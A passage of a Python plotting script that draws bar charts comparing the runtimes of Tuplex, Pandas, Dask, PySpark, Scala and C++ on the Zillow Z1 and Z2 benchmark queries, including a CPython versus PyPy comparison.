'c++', 'scala'])) & (df['framework'].isin(st_fws))] df_st = df_st[~df_st['type'].isin(['multi-threaded', 'cached', 'preload'])] df_st_mu = df_st.groupby(['framework', 'type']).mean().reset_index() df_st_std = df_st.groupby(['framework', 'type']).std().reset_index() df_st_tuple = df_st_mu[df_st_mu['type'] == 'tuple'].sort_values(by='job_time').reset_index(drop=True) df_st_dict = df_st_mu[df_st_mu['type'] == 'dict'].sort_values(by='job_time').reset_index(drop=True) df_st_rest = df_st_mu[~df_st_mu['type'].isin(['tuple', 'dict'])].sort_values(by='job_time').reset_index(drop=True) df_st_tuple_std = df_st_std[df_st_std['type'] == 'tuple'] df_st_dict_std = df_st_std[df_st_std['type'] == 'dict'] df_st_rest_std = df_st_std[~df_st_std['type'].isin(['tuple', 'dict'])] df_mt = df[(df['mode'].isin(['python3', 'c++', 'scala'])) & (df['framework'].isin(mt_fws))] df_mt = df_mt[~df_mt['type'].isin(['single-threaded', 'cached', 'preload'])] df_mt_mu = df_mt.groupby(['framework', 'type']).mean().reset_index() df_mt_std = df_mt.groupby(['framework', 'type']).std().reset_index() # links: https://stackoverflow.com/questions/14852821/aligning-rotated-xticklabels-with-their-respective-xticks sf = 1.1 fig, axs = plt.subplots(figsize=(sf * column_width, sf *column_width / rho*0.65), nrows=1, ncols=2, constrained_layout=True) rot = 25 mks = 14 w = .8 w2 = w/2 precision = 1 cc_col = [0, 0, 0] tplx_col = sns.color_palette()[0] dask_col = np.array(sns.color_palette()[3]) pyspark_col = 1.2 * np.array(sns.color_palette()[2]) pysparksql_col = 0.6 * np.array(pyspark_col) fsize=30 py_col = pyspark_col cython_col = [161/255., 67/255., 133/255.] nuitka_col = [123/255, 88/255, 219/255.] scala_col = [.6, .6, .6] axs = list(axs.flat) ao = 3.5 lim_high = 62 ##### SINGLE-THREADED ###### ax = axs[0] python3_dict_err = np.array([df_st_dict_std[df_st_dict_std['framework'] == 'python3']['job_time']]) python3_tuple_err = np.array([df_st_tuple_std[df_st_tuple_std['framework'] == 'python3']['job_time']]) pandas_err = np.array([df_st_rest_std[df_st_rest_std['framework'] == 'pandas']['job_time']]) tplx_err = np.array([df_st_rest_std[df_st_rest_std['framework'] == 'tuplex']['job_time']]) cc_err = np.array([df_st_rest_std[df_st_rest_std['framework'] == 'c++']['job_time']]) scala_err = np.array([df_st_rest_std[df_st_rest_std['framework'] == 'scala']['job_time']]) plt_bar(ax, 1, df_st_dict[df_st_dict['framework'] == 'python3']['job_time'], w, py_col, 'Python', 'center', precision=precision, yerr=python3_dict_err,fsize=fsize) plt_bar(ax, 2, df_st_tuple[df_st_tuple['framework'] == 'python3']['job_time'], w, py_col, 'Python', 'center', above_offset=ao*10, precision=precision, yerr=python3_tuple_err,fsize=fsize) plt_bar(ax, 0, df_st_rest[df_st_rest['framework'] == 'pandas']['job_time'], w, dask_col, 'Pandas', 'center', above_offset=ao*10, precision=precision, yerr=pandas_err,fsize=fsize) plt_bar(ax, 3, df_st_rest[df_st_rest['framework'] == 'tuplex']['job_time'], w, tplx_col, 'Tuplex', 'above', precision=precision, above_offset=ao*10, yerr=tplx_err,fsize=fsize) plt_bar(ax, 4, df_st_rest[df_st_rest['framework'] == 'scala']['job_time'], w, scala_col, 'Scala', 'above', precision=precision, above_offset=ao*10, yerr=scala_err,fsize=fsize) plt_bar(ax, 5, df_st_rest[df_st_rest['framework'] == 'c++']['job_time'], w, cc_col, 'C++', 'above', precision=precision, above_offset=ao*10, yerr=cc_err,fsize=fsize) ax.axvline(3.5, linestyle='--', lw=2,color=[.6,.6,.6]) legend_elements = [ Line2D([0], [0], marker='o', color='w', label='Python ', markerfacecolor=py_col, markersize=mks), Line2D([0], [0], marker='o', color='w', label='Pandas', markerfacecolor=dask_col, markersize=mks), Line2D([0], [0], pickradius=2, marker='o', color='w', label='Tuplex', markerfacecolor=tplx_col, markersize=mks), Line2D([0], [0], marker='o', color='w', label='Scala (man-opt.)', markerfacecolor=scala_col, markersize=mks), Line2D([0], [0], pickradius=2, marker='o', color='w', label='C++ (man-opt.)', markerfacecolor=cc_col, markersize=mks)] # legend, also valid for Z2 L = ax.legend(handles=legend_elements, loc='upper right', fontsize=15, bbox_to_anchor=(1, 1), borderaxespad=-.8, handletextpad=0., ncol=2, columnspacing=0) cols = [py_col, dask_col, tplx_col, scala_col, cc_col] for i, text in enumerate(L.get_texts()): text.set_color(cols[i]) ax.set_xticks([0, 1, 2, 3, 4, 5]) ax.set_xticklabels(['Pandas', 'dict', 'tuple', 'Tuplex', 'Scala', 'C++'], rotation=rot) ax.grid(axis='x') sns.despine() ax.set_ylim(0, lim_high * 10) ax.set_xlim(-.5, 5.5) ax.set_xlabel('({}a) single-threaded'.format(query_name), fontsize=27, labelpad=15) ax.set_ylabel('runtime in s', labelpad=10) ##### MULTI-THREADED ###### ax = axs[1] spark_sql_time = df_mt_mu[(df_mt_mu['framework'] == 'spark') & (df_mt_mu['type'] == 'sql')]['job_time'] spark_tuple_time = df_mt_mu[(df_mt_mu['framework'] == 'spark') & (df_mt_mu['type'] == 'tuple')]['job_time'] spark_dict_time = df_mt_mu[(df_mt_mu['framework'] == 'spark') & (df_mt_mu['type'] == 'dict')]['job_time'] spark_scala_time = df_mt_mu[(df_mt_mu['framework'] == 'spark') & (df_mt_mu['type'] == 'scala-sql')]['job_time'] spark_sql_time_err = np.array([df_mt_std[(df_mt_std['framework'] == 'spark') & (df_mt_std['type'] == 'sql')]['job_time']]) spark_tuple_time_err = np.array([df_mt_std[(df_mt_std['framework'] == 'spark') & (df_mt_std['type'] == 'tuple')]['job_time']]) spark_dict_time_err = np.array([df_mt_std[(df_mt_std['framework'] == 'spark') & (df_mt_std['type'] == 'dict')]['job_time']]) spark_scala_time_err = np.array([df_mt_std[(df_mt_std['framework'] == 'spark') & (df_mt_std['type'] == 'scala-sql')]['job_time']]) plt_bar(ax, 2, spark_dict_time, w, pyspark_col, 'PySpark (dict)', 'center', precision=precision,yerr=spark_dict_time_err, fsize=fsize) plt_bar(ax, 3, spark_tuple_time, w, pyspark_col, 'PySpark (tuple)', 'center', precision=precision, yerr=spark_tuple_time_err, fsize=fsize) plt_bar(ax, 1, spark_sql_time, w, pysparksql_col, 'PySparkSQL', 'center', precision=precision, yerr=spark_sql_time_err, fsize=fsize) dask_time_err = np.array([df_mt_std[df_mt_std['framework'] == 'dask']['job_time']]) tplx_time_err = np.array([df_mt_std[df_mt_std['framework'] == 'tuplex']['job_time']]) plt_bar(ax, 0, df_mt_mu[df_mt_mu['framework'] == 'dask']['job_time'], w, dask_col, 'Dask', 'center', above_offset=ao, precision=precision, yerr=dask_time_err, fsize=fsize) plt_bar(ax, 4, df_mt_mu[df_mt_mu['framework'] == 'tuplex']['job_time'], w, tplx_col, 'Tuplex', 'above', above_offset=ao, precision=precision, yerr=tplx_time_err, fsize=fsize) ax.axvline(4.5, linestyle='--', lw=2,color=[.6,.6,.6]) plt_bar(ax, 5, spark_scala_time, w, scala_col, 'Scala', 'center', above_offset=ao, precision=precision, yerr=spark_scala_time_err, fsize=fsize) legend_elements = [ Line2D([0], [0], marker='o', color='w', label='PySpark', markerfacecolor=pyspark_col, markersize=mks), Line2D([0], [0], marker='o', color='w', label='PySpark', markerfacecolor=pysparksql_col, markersize=mks), Line2D([0], [0], marker='o', color='w', label='Dask', markerfacecolor=dask_col, markersize=mks), Line2D([0], [0], marker='o', color='w', label='Tuplex', markerfacecolor=tplx_col, markersize=mks), Line2D([0], [0], marker='o', color='w', label='SparkSQL(Scala)', markerfacecolor=scala_col, markersize=mks),] # legend (also valid for Z2) L = ax.legend(handles=legend_elements, loc='upper right', fontsize=15, bbox_to_anchor=(1, 1), borderaxespad=-.4, handletextpad=0., ncol=3, columnspacing=0) cols = [ pyspark_col, pysparksql_col, dask_col, tplx_col, scala_col] for i, text in enumerate(L.get_texts()): text.set_color(cols[i]) ax.set_xticks([0, 1, 2, 3, 4, 5]) ax.set_xticklabels(['Dask', 'SQL', 'dict', 'tuple', 'Tuplex', 'Scala'], rotation=rot) ax.grid(axis='x') sns.despine() # ax.set_ylim(0, 245) ax.set_ylim(0, lim_high) ax.set_xlim(-.5, 5.5) ax.set_xlabel('({}b) 16x parallelism'.format(query_name), fontsize=27, labelpad=15) # ax.set_ylabel('runtime in s', labelpad=-5) plt.savefig(os.path.join(output_folder, 'figure3_zillow_10G_{}.pdf'.format(query_name)), transparent=True, bbox_inches = 'tight', pad_inches = 0) # ------------------------------------------------------------------------------------------------------------------------------ # Z2 part #------------------------------------------------------------------------------------------------------------------------------ # ### Z2: logging.info('Plotting Z2') # In[94]: df = df_Z2.copy() query_name = 'Z2' # drop tuplex preload df = df[df['type'] != 'single-threaded-preload'] # In[95]: df_st = df[(df['mode'].isin(['python3', 'c++', 'scala'])) & (df['framework'].isin(st_fws))] df_st = df_st[~df_st['type'].isin(['multi-threaded', 'cached', 'preload'])] df_st_mu = df_st.groupby(['framework', 'type']).mean().reset_index() df_st_std = df_st.groupby(['framework', 'type']).std().reset_index() df_st_tuple = df_st_mu[df_st_mu['type'] == 'tuple'].sort_values(by='job_time').reset_index(drop=True) df_st_dict = df_st_mu[df_st_mu['type'] == 'dict'].sort_values(by='job_time').reset_index(drop=True) df_st_rest = df_st_mu[~df_st_mu['type'].isin(['tuple', 'dict'])].sort_values(by='job_time').reset_index(drop=True) df_st_tuple_std = df_st_std[df_st_std['type'] == 'tuple'] df_st_dict_std = df_st_std[df_st_std['type'] == 'dict'] df_st_rest_std = df_st_std[~df_st_std['type'].isin(['tuple', 'dict'])] df_st = df[(df['mode'].isin(['python3', 'c++', 'scala'])) & (df['framework'].isin(st_fws))] df_st = df_st[~df_st['type'].isin(['multi-threaded', 'cached', 'preload'])] df_st_mu = df_st.groupby(['framework', 'type']).mean().reset_index() df_st_std = df_st.groupby(['framework', 'type']).std().reset_index() df_st_tuple = df_st_mu[df_st_mu['type'] == 'tuple'].sort_values(by='job_time').reset_index(drop=True) df_st_dict = df_st_mu[df_st_mu['type'] == 'dict'].sort_values(by='job_time').reset_index(drop=True) df_st_rest = df_st_mu[~df_st_mu['type'].isin(['tuple', 'dict'])].sort_values(by='job_time').reset_index(drop=True) df_st_tuple_std = df_st_std[df_st_std['type'] == 'tuple'] df_st_dict_std = df_st_std[df_st_std['type'] == 'dict'] df_st_rest_std = df_st_std[~df_st_std['type'].isin(['tuple', 'dict'])] df_mt = df[(df['mode'].isin(['python3', 'c++', 'scala'])) & (df['framework'].isin(mt_fws))] df_mt = df_mt[~df_mt['type'].isin(['single-threaded', 'cached', 'preload'])] df_mt_mu = df_mt.groupby(['framework', 'type']).mean().reset_index() df_mt_std = df_mt.groupby(['framework', 'type']).std().reset_index() # links: https://stackoverflow.com/questions/14852821/aligning-rotated-xticklabels-with-their-respective-xticks sf = 1.1 fig, axs = plt.subplots(figsize=(sf * column_width, sf * column_width / rho * 0.54), nrows=1, ncols=2, constrained_layout=True) rot = 25 mks = 20 w = .8 w2 = w / 2 precision = 1 cc_col = [0, 0, 0] tplx_col = sns.color_palette()[0] dask_col = np.array(sns.color_palette()[3]) pyspark_col = 1.2 * np.array(sns.color_palette()[2]) pysparksql_col = 0.6 * np.array(pyspark_col) py_col = pyspark_col cython_col = [161 / 255., 67 / 255., 133 / 255.] nuitka_col = [123 / 255, 88 / 255, 219 / 255.] scala_col = [.6, .6, .6] axs = list(axs.flat) ao = 2.5 * 650 / 540 ##### SINGLE-THREADED ###### ax = axs[0] python3_dict_err = np.array([df_st_dict_std[df_st_dict_std['framework'] == 'python3']['job_time']]) python3_tuple_err = np.array([df_st_tuple_std[df_st_tuple_std['framework'] == 'python3']['job_time']]) pandas_err = np.array([df_st_rest_std[df_st_rest_std['framework'] == 'pandas']['job_time']]) tplx_err = np.array([df_st_rest_std[df_st_rest_std['framework'] == 'tuplex']['job_time']]) cc_err = np.array([df_st_rest_std[df_st_rest_std['framework'] == 'c++']['job_time']]) scala_err = np.array([df_st_rest_std[df_st_rest_std['framework'] == 'scala']['job_time']]) plt_bar(ax, 1, df_st_dict[df_st_dict['framework'] == 'python3']['job_time'], w, py_col, 'Python', 'center', precision=precision, yerr=python3_dict_err) plt_bar(ax, 2, df_st_tuple[df_st_tuple['framework'] == 'python3']['job_time'], w, py_col, 'Python', 'center', above_offset=ao * 10, precision=precision, yerr=python3_tuple_err) plt_bar(ax, 0, df_st_rest[df_st_rest['framework'] == 'pandas']['job_time'], w, dask_col, 'Pandas', 'center', above_offset=ao * 10, precision=precision, yerr=pandas_err) plt_bar(ax, 3, df_st_rest[df_st_rest['framework'] == 'tuplex']['job_time'], w, tplx_col, 'Tuplex', 'above', precision=precision, above_offset=ao * 10, yerr=tplx_err) plt_bar(ax, 4, df_st_rest[df_st_rest['framework'] == 'scala']['job_time'], w, scala_col, 'Scala', 'above', precision=precision, above_offset=ao * 10, yerr=scala_err) plt_bar(ax, 5, df_st_rest[df_st_rest['framework'] == 'c++']['job_time'], w, cc_col, 'C++', 'above', precision=precision, above_offset=ao * 10, yerr=cc_err) ax.axvline(3.5, linestyle='--', lw=2, color=[.6, .6, .6]) legend_elements = [Line2D([0], [0], marker='o', color='w', label='Python ', markerfacecolor=py_col, markersize=mks), Line2D([0], [0], marker='o', color='w', label='Pandas', markerfacecolor=dask_col, markersize=mks), Line2D([0], [0], pickradius=2, marker='o', color='w', label='Tuplex', markerfacecolor=tplx_col, markersize=mks), Line2D([0], [0], marker='o', color='w', label='Scala (hand-opt.)', markerfacecolor=scala_col, markersize=mks), Line2D([0], [0], pickradius=2, marker='o', color='w', label='C++ (hand-opt.)', markerfacecolor=cc_col, markersize=mks)] ax.set_xticks([0, 1, 2, 3, 4, 5]) ax.set_xticklabels(['Pandas', 'dict', 'tuple', 'Tuplex', 'Scala', 'C++'], rotation=rot) ax.grid(axis='x') sns.despine() ax.set_ylim(0, 650) ax.set_xlim(-.5, 5.5) ax.set_xlabel('({}a) single-threaded'.format(query_name), fontsize=27, labelpad=15) ax.set_ylabel('runtime in s', labelpad=10) ##### MULTI-THREADED ###### ax = axs[1] spark_sql_time = df_mt_mu[(df_mt_mu['framework'] == 'spark') & (df_mt_mu['type'] == 'sql')]['job_time'] spark_tuple_time = df_mt_mu[(df_mt_mu['framework'] == 'spark') & (df_mt_mu['type'] == 'tuple')]['job_time'] spark_dict_time = df_mt_mu[(df_mt_mu['framework'] == 'spark') & (df_mt_mu['type'] == 'dict')]['job_time'] spark_scala_time = df_mt_mu[(df_mt_mu['framework'] == 'spark') & (df_mt_mu['type'] == 'scala-sql')]['job_time'] spark_sql_time_err = np.array( [df_mt_std[(df_mt_std['framework'] == 'spark') & (df_mt_std['type'] == 'sql')]['job_time']]) spark_tuple_time_err = np.array( [df_mt_std[(df_mt_std['framework'] == 'spark') & (df_mt_std['type'] == 'tuple')]['job_time']]) spark_dict_time_err = np.array( [df_mt_std[(df_mt_std['framework'] == 'spark') & (df_mt_std['type'] == 'dict')]['job_time']]) spark_scala_time_err = np.array( [df_mt_std[(df_mt_std['framework'] == 'spark') & (df_mt_std['type'] == 'scala-sql')]['job_time']]) plt_bar(ax, 2, spark_dict_time, w, pyspark_col, 'PySpark (dict)', 'center', precision=precision, yerr=spark_dict_time_err) plt_bar(ax, 3, spark_tuple_time, w, pyspark_col, 'PySpark (tuple)', 'center', precision=precision, yerr=spark_tuple_time_err) plt_bar(ax, 1, spark_sql_time, w, pysparksql_col, 'PySparkSQL', 'center', precision=precision, yerr=spark_sql_time_err) dask_time_err = np.array([df_mt_std[df_mt_std['framework'] == 'dask']['job_time']]) tplx_time_err = np.array([df_mt_std[df_mt_std['framework'] == 'tuplex']['job_time']]) plt_bar(ax, 0, df_mt_mu[df_mt_mu['framework'] == 'dask']['job_time'], w, dask_col, 'Dask', 'center', precision=precision, yerr=dask_time_err) plt_bar(ax, 4, df_mt_mu[df_mt_mu['framework'] == 'tuplex']['job_time'], w, tplx_col, 'Tuplex', 'above', above_offset=ao, precision=precision, yerr=tplx_time_err) ax.axvline(4.5, linestyle='--', lw=2, color=[.6, .6, .6]) plt_bar(ax, 5, spark_scala_time, w, scala_col, 'Scala', 'above', above_offset=ao, precision=precision, yerr=spark_scala_time_err) legend_elements = [ Line2D([0], [0], marker='o', color='w', label='PySpark', markerfacecolor=pyspark_col, markersize=mks), Line2D([0], [0], marker='o', color='w', label='PySpark', markerfacecolor=pysparksql_col, markersize=mks), Line2D([0], [0], marker='o', color='w', label='Dask', markerfacecolor=dask_col, markersize=mks), Line2D([0], [0], marker='o', color='w', label='Tuplex', markerfacecolor=tplx_col, markersize=mks), Line2D([0], [0], marker='o', color='w', label='SparkSQL(Scala)', markerfacecolor=scala_col, markersize=mks), ] # disable legend, use from Z1 # L = ax.legend(handles=legend_elements, loc='upper right', fontsize=15, # bbox_to_anchor=(1, 1), borderaxespad=-.4, handletextpad=0., ncol=2, columnspacing=0) # cols = [ pyspark_col, pysparksql_col, dask_col, tplx_col, scala_col] # for i, text in enumerate(L.get_texts()): # text.set_color(cols[i]) ax.set_xticks([0, 1, 2, 3, 4, 5]) ax.set_xticklabels(['Dask', 'SQL', 'dict', 'tuple', 'Tuplex', 'Scala'], rotation=rot) ax.grid(axis='x') sns.despine() ax.set_ylim(0, 65) ax.set_xlim(-.5, 5.5) ax.set_xlabel('({}b) 16x parallelism'.format(query_name), fontsize=27, labelpad=15) # ax.set_ylabel('runtime in s', labelpad=-5) plt.savefig(os.path.join(output_folder, 'figure3_zillow_10G_{}.pdf'.format(query_name)), transparent=True, bbox_inches='tight', pad_inches=0) def figure7(df_Z1, output_folder): # ## Zillow Z1 CPython vs. Pypy3 st_fws = ['tuplex', 'cython', 'nuitka', 'python3', 'c++', 'pandas', 'scala'] mt_fws = ['tuplex', 'spark', 'dask'] # which df to use? df = df_Z1.copy() # drop tuplex preload df = df[df['type'] != 'single-threaded-preload'] query_name = 'Z1' df_st = df[(df['mode'].isin(['python3', 'c++', 'scala'])) & (df['framework'].isin(st_fws))] df_st = df_st[~df_st['type'].isin(['multi-threaded', 'cached', 'preload'])] df_st_mu = df_st.groupby(['framework', 'type']).mean().reset_index() df_st_std = df_st.groupby(['framework', 'type']).std().reset_index() df_st_tuple = df_st_mu[df_st_mu['type'] == 'tuple'].sort_values(by='job_time').reset_index(drop=True) df_st_dict = df_st_mu[df_st_mu['type'] == 'dict'].sort_values(by='job_time').reset_index(drop=True) df_st_rest = df_st_mu[~df_st_mu['type'].isin(['tuple', 'dict'])].sort_values(by='job_time').reset_index(drop=True) df_st_tuple_std = df_st_std[df_st_std['type'] == 'tuple'] df_st_dict_std = df_st_std[df_st_std['type'] == 'dict'] df_st_rest_std = df_st_std[~df_st_std['type'].isin(['tuple', 'dict'])] df_st = df[(df['mode'].isin(['python3', 'c++', 'scala'])) & (df['framework'].isin(st_fws))] df_st = df_st[~df_st['type'].isin(['multi-threaded', 'cached', 'preload'])] df_st_mu = df_st.groupby(['framework', 'type']).mean().reset_index() df_st_std = df_st.groupby(['framework', 'type']).std().reset_index() df_st_tuple = df_st_mu[df_st_mu['type'] == 'tuple'].sort_values(by='job_time').reset_index(drop=True) df_st_dict = df_st_mu[df_st_mu['type'] == 'dict'].sort_values(by='job_time').reset_index(drop=True) df_st_rest = df_st_mu[~df_st_mu['type'].isin(['tuple', 'dict'])].sort_values(by='job_time').reset_index(drop=True) df_st_tuple_std = df_st_std[df_st_std['type'] == 'tuple'] df_st_dict_std = df_st_std[df_st_std['type'] == 'dict'] df_st_rest_std = df_st_std[~df_st_std['type'].isin(['tuple', 'dict'])] df_mt = df[(df['mode'].isin(['python3', 'c++', 'scala'])) & (df['framework'].isin(mt_fws))] df_mt = df_mt[~df_mt['type'].isin(['single-threaded', 'cached', 'preload'])] df_mt_mu = df_mt.groupby(['framework', 'type']).mean().reset_index() df_mt_std = df_mt.groupby(['framework', 'type']).std().reset_index() pp_st = df[(df['mode'].isin(['pypy3'])) & (df['framework'].isin(st_fws))] pp_st = pp_st[~pp_st['type'].isin(['multi-threaded', 'cached', 'preload'])] pp_st_mu = pp_st.groupby(['framework', 'type', 'mode']).mean().reset_index() pp_st_std = pp_st.groupby(['framework', 'type', 'mode']).std().reset_index() pp_st_tuple = pp_st_mu[pp_st_mu['type'] == 'tuple'].sort_values(by='job_time').reset_index(drop=True) pp_st_dict = pp_st_mu[pp_st_mu['type'] == 'dict'].sort_values(by='job_time').reset_index(drop=True) pp_st_rest = pp_st_mu[~pp_st_mu['type'].isin(['tuple', 'dict'])].sort_values(by='job_time').reset_index(drop=True) pp_st_tuple_std = pp_st_std[pp_st_std['type'] == 'tuple'] pp_st_dict_std = pp_st_std[pp_st_std['type'] == 'dict'] pp_st_rest_std = pp_st_std[~pp_st_std['type'].isin(['tuple', 'dict'])] # In[90]: pp_mt = df[(df['mode'].isin(['pypy3', 'c++'])) & (df['framework'].isin(mt_fws))] pp_mt = pp_mt[~pp_mt['type'].isin(['single-threaded', 'cached', 'preload'])] pp_mt_mu = pp_mt.groupby(['framework', 'type', 'mode']).mean().reset_index() pp_mt_std = pp_mt.groupby(['framework', 'type', 'mode']).std().reset_index() # links: https://stackoverflow.com/questions/14852821/aligning-rotated-xticklabels-with-their-respective-xticks sf = 1.1 fig, axs = plt.subplots(figsize=(sf * column_width, sf *column_width / rho * .6), nrows=1, ncols=2, constrained_layout=True) rot = 25 mks = 20 w = .8 w2 = w/2 w4 = w/4 precision = 1 data_fsize=26 cc_col = [0, 0, 0] tplx_col = sns.color_palette()[0] dask_col = np.array(sns.color_palette()[3]) pyspark_col = 1.2 * np.array(sns.color_palette()[2]) pysparksql_col = 0.6 * np.array(pyspark_col) py_col = pyspark_col cython_col = [161/255., 67/255., 133/255.] nuitka_col = [123/255, 88/255, 219/255.] base_gray = np.array([0.8, .8, .8]) alpha = 0.1 py_col_g = alpha * np.array(py_col) + (1. - alpha) * base_gray dask_col_g = alpha * dask_col + (1. - alpha) * base_gray pyspark_col_g = alpha * np.array(pyspark_col) + (1. - alpha) * base_gray pysparksql_col_g = alpha * np.array(pysparksql_col) + (1. - alpha) * base_gray axs = list(axs.flat) lim_high=90 ao = 5 ##### SINGLE-THREADED ###### ax = axs[0] python3_dict_err = np.array([df_st_dict_std[df_st_dict_std['framework'] == 'python3']['job_time']]) python3_tuple_err = np.array([df_st_tuple_std[df_st_tuple_std['framework'] == 'python3']['job_time']]) pandas_err = np.array([df_st_rest_std[df_st_rest_std['framework'] == 'pandas']['job_time']]) tplx_err = np.array([df_st_rest_std[df_st_rest_std['framework'] == 'tuplex']['job_time']]) cc_err = np.array([df_st_rest_std[df_st_rest_std['framework'] == 'c++']['job_time']]) scala_err = np.array([df_st_rest_std[df_st_rest_std['framework'] == 'scala']['job_time']]) py_err = np.array([df_st_dict_std[df_st_dict_std['framework'] == 'python3']['job_time']]) pypy_err = np.array([pp_st_dict_std[pp_st_dict_std['framework'] == 'python3']['job_time']]) plt_bar(ax, -w4, df_st_dict[df_st_dict['framework'] == 'python3']['job_time'], w2, py_col_g, 'Python', yerr=py_err) plt_bar(ax, w4, pp_st_dict[pp_st_dict['framework'] == 'python3']['job_time'], w2, py_col, 'Pypy', yerr=pypy_err) py_err = np.array([df_st_tuple_std[df_st_tuple_std['framework'] == 'python3']['job_time']]) pypy_err = np.array([pp_st_tuple_std[pp_st_tuple_std['framework'] == 'python3']['job_time']]) plt_bar(ax, 1-w4, df_st_tuple[df_st_tuple['framework'] == 'python3']['job_time'], w2, py_col_g, 'Python', yerr=py_err) plt_bar(ax, 1+w4, pp_st_tuple[pp_st_tuple['framework'] == 'python3']['job_time'], w2, py_col, 'Python', yerr=pypy_err) py_err = np.array([df_st_rest_std[df_st_rest_std['framework'] == 'pandas']['job_time']]) pypy_err = np.array([pp_st_rest_std[pp_st_rest_std['framework'] == 'pandas']['job_time']]) plt_bar(ax, 2-w4, df_st_rest[df_st_rest['framework'] == 'pandas']['job_time'], w2, dask_col_g, 'Pandas', yerr=pandas_err) plt_bar(ax, 2+w4, pp_st_rest[pp_st_rest['framework'] == 'pandas']['job_time'], w2, dask_col, 'Pandas', yerr=pypy_err) tplx_err = np.array([df_st_rest_std[df_st_rest_std['framework'] == 'tuplex']['job_time']]) cc_err = np.array([df_st_rest_std[df_st_rest_std['framework'] == 'c++']['job_time']]) plt_bar(ax, 3, df_st_rest[df_st_rest['framework'] == 'tuplex']['job_time'], w2, tplx_col, 'Tuplex', 'above', precision=precision, above_offset=ao*10, yerr=tplx_err, fsize=data_fsize) plt_bar(ax, 4, df_st_rest[df_st_rest['framework'] == 'c++']['job_time'], w2, cc_col, 'C++', 'above', precision=precision, above_offset=ao*10, yerr=cc_err, fsize=data_fsize) ax.axvline(3.5, linestyle='--', lw=2,color=[.6,.6,.6]) # legend_elements = [ Line2D([0], [0], marker='o', color='w', label='Python ', # markerfacecolor=py_col, markersize=mks), # Line2D([0], [0], marker='o', color='w', label='Pandas', # markerfacecolor=dask_col, markersize=mks), # Line2D([0], [0], pickradius=2, marker='o', color='w', label='Tuplex', # markerfacecolor=tplx_col, markersize=mks), # Line2D([0], [0], pickradius=2, marker='o', color='w', label='C++ (hand-opt.)', # markerfacecolor=cc_col, markersize=mks)] # L = ax.legend(handles=legend_elements, loc='upper right', fontsize=18, bbox_to_anchor=(1, 1), borderaxespad=0.) # cols = [py_col, dask_col, tplx_col, cc_col] # for i, text in enumerate(L.get_texts()): # text.set_color(cols[i]) ax.set_xticks([0, 1, 2, 3, 4]) ax.set_xticklabels(['dict', 'tuple', 'Pandas', 'Tuplex', 'C++'], rotation=rot) ax.grid(axis='x') sns.despine() ax.set_ylim(0, 10*lim_high) ax.set_xlim(-.5, 4.5) ax.set_yticks([200, 400, 600]) ax.set_xlabel('(a) single-threaded', fontsize=27, labelpad=10) ax.set_ylabel('runtime in s', labelpad=5) ##### MULTI-THREADED ###### ax = axs[1] spark_sql_time = df_mt_mu[(df_mt_mu['framework'] == 'spark') & (df_mt_mu['type'] == 'sql')]['job_time'] spark_tuple_time = df_mt_mu[(df_mt_mu['framework'] == 'spark') & (df_mt_mu['type'] == 'tuple')]['job_time'] spark_dict_time = df_mt_mu[(df_mt_mu['framework'] == 'spark') & (df_mt_mu['type'] == 'dict')]['job_time'] spark_sql_time_err = np.array([df_mt_std[(df_mt_std['framework'] == 'spark') & (df_mt_std['type'] == 'sql')]['job_time']]) spark_tuple_time_err = np.array([df_mt_std[(df_mt_std['framework'] == 'spark') & (df_mt_std['type'] == 'tuple')]['job_time']]) spark_dict_time_err = np.array([df_mt_std[(df_mt_std['framework'] == 'spark') & (df_mt_std['type'] == 'dict')]['job_time']]) pp_spark_sql_time = pp_mt_mu[(pp_mt_mu['framework'] == 'spark') & (pp_mt_mu['type'] == 'sql')]['job_time'] pp_spark_tuple_time = pp_mt_mu[(pp_mt_mu['framework'] == 'spark') & (pp_mt_mu['type'] == 'tuple')]['job_time'] pp_spark_dict_time = pp_mt_mu[(pp_mt_mu['framework'] == 'spark') & (pp_mt_mu['type'] == 'dict')]['job_time'] pp_spark_sql_time_err = np.array([pp_mt_std[(pp_mt_std['framework'] == 'spark') & (pp_mt_std['type'] == 'sql')]['job_time']]) pp_spark_tuple_time_err = np.array([pp_mt_std[(pp_mt_std['framework'] == 'spark') & (pp_mt_std['type'] == 'tuple')]['job_time']]) pp_spark_dict_time_err = np.array([pp_mt_std[(pp_mt_std['framework'] == 'spark') & (pp_mt_std['type'] == 'dict')]['job_time']]) plt_bar(ax, -w4, spark_dict_time, w2, pyspark_col_g, 'PySpark (dict)', yerr=spark_dict_time_err) plt_bar(ax, w4, pp_spark_dict_time, w2, pyspark_col, 'PySpark (dict)', yerr=pp_spark_dict_time_err) plt_bar(ax, 1-w4, spark_tuple_time, w2, pyspark_col_g, 'PySpark (tuple)', yerr=spark_tuple_time_err) plt_bar(ax, 1+w4, pp_spark_tuple_time, w2, pyspark_col, 'PySpark (tuple)', yerr=pp_spark_tuple_time_err) plt_bar(ax, 2-w4, spark_sql_time, w2, pysparksql_col_g, 'PySparkSQL', yerr=spark_sql_time_err) plt_bar(ax, 2+w4, pp_spark_sql_time, w2, pysparksql_col, 'PySparkSQL', yerr=pp_spark_sql_time_err) dask_py_err = np.array([df_mt_std[df_mt_std['framework'] == 'dask']['job_time']]) dask_pypy_err = np.array([pp_mt_std[df_mt_std['framework'] == 'dask']['job_time']]) plt_bar(ax, 3-w4, df_mt_mu[df_mt_mu['framework'] == 'dask']['job_time'], w2, dask_col_g,'Dask', yerr=dask_py_err) plt_bar(ax, 3+w4, pp_mt_mu[df_mt_mu['framework'] == 'dask']['job_time'], w2, dask_col,'Dask', yerr=dask_pypy_err) tplx_err = np.array([df_mt_std[df_mt_std['framework'] == 'tuplex']['job_time']]) plt_bar(ax, 4, df_mt_mu[df_mt_mu['framework'] == 'tuplex']['job_time'], w2, tplx_col, 'Tuplex', 'above', above_offset=ao, precision=precision, yerr=tplx_err, fsize=data_fsize) legend_elements = [ Line2D([0], [0], marker='o', color='w', label='Python / PySpark', markerfacecolor=pyspark_col, markersize=mks), Line2D([0], [0], marker='o', color='w', label='PySparkSQL', markerfacecolor=pysparksql_col, markersize=mks), Line2D([0], [0], marker='o', color='w', label='Pandas / Dask', markerfacecolor=dask_col, markersize=mks), Line2D([0], [0], marker='o', color='w', label='Tuplex', markerfacecolor=tplx_col, markersize=mks), Line2D([0], [0], pickradius=2, marker='o', color='w', label='C++ (hand-opt.)', markerfacecolor=cc_col, markersize=mks)] L = fig.legend(handles=legend_elements, loc='upper right', bbox_transform = plt.gcf().transFigure, bbox_to_anchor = (0.01,0,1,1), fontsize=17, borderaxespad=0.4, handletextpad=0., ncol=5, columnspacing=0) cols = [pyspark_col, pysparksql_col, dask_col, tplx_col, cc_col] for 